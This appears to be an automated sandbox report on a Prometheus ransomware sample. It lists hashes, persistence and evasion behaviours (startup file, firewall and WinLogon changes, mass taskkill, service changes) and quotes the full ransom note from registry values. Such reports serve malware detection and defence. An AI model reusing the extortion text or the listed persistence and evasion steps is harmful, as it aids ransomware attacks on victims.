Malware Analysis Report

2024-10-23 18:42

Sample ID 210528-9sn3jdwaa2
Target e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin
SHA256 e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3
Tags
prometheus discovery evasion persistence ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3

Threat Level: Known bad

The file e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin was found to be: Known bad.

Malicious Activity Summary

prometheus discovery evasion persistence ransomware

Prometheus Ransomware

Downloads MZ/PE file

Executes dropped EXE

Modifies Windows Firewall

Downloads PsExec from SysInternals website

Drops startup file

Modifies file permissions

Deletes itself

Modifies WinLogon

Launches sc.exe

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Runs ping.exe

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

Modifies registry key

Modifies Internet Explorer settings

Runs net.exe

Suspicious use of WriteProcessMemory

Kills process with taskkill

System policy modification

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-03-30 11:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-05-28 06:53

Reported

2021-05-28 06:56

Platform

win7v20210408

Max time kernel

60s

Max time network

61s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe"

Signatures

Prometheus Ransomware

ransomware prometheus

Modifies Windows Firewall

evasion

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\System32\mshta.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1204 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\reg.exe
PID 1204 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\reg.exe
PID 1204 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\reg.exe
PID 1204 wrote to memory of 1528 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\reg.exe
PID 1204 wrote to memory of 1528 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\reg.exe
PID 1204 wrote to memory of 1528 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\reg.exe
PID 1204 wrote to memory of 1288 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\schtasks.exe
PID 1204 wrote to memory of 1288 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\schtasks.exe
PID 1204 wrote to memory of 1288 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\schtasks.exe
PID 1204 wrote to memory of 2016 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\cmd.exe
PID 1204 wrote to memory of 2016 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\cmd.exe
PID 1204 wrote to memory of 2016 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\cmd.exe
PID 1204 wrote to memory of 1816 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\netsh.exe
PID 1204 wrote to memory of 1816 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\netsh.exe
PID 1204 wrote to memory of 1816 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\netsh.exe
PID 1204 wrote to memory of 2012 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 2012 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 2012 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 280 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 592 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 592 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 592 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1784 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1784 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1784 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1496 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1496 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1496 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 912 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\cmd.exe
PID 1204 wrote to memory of 912 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\cmd.exe
PID 1204 wrote to memory of 912 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\cmd.exe
PID 1204 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
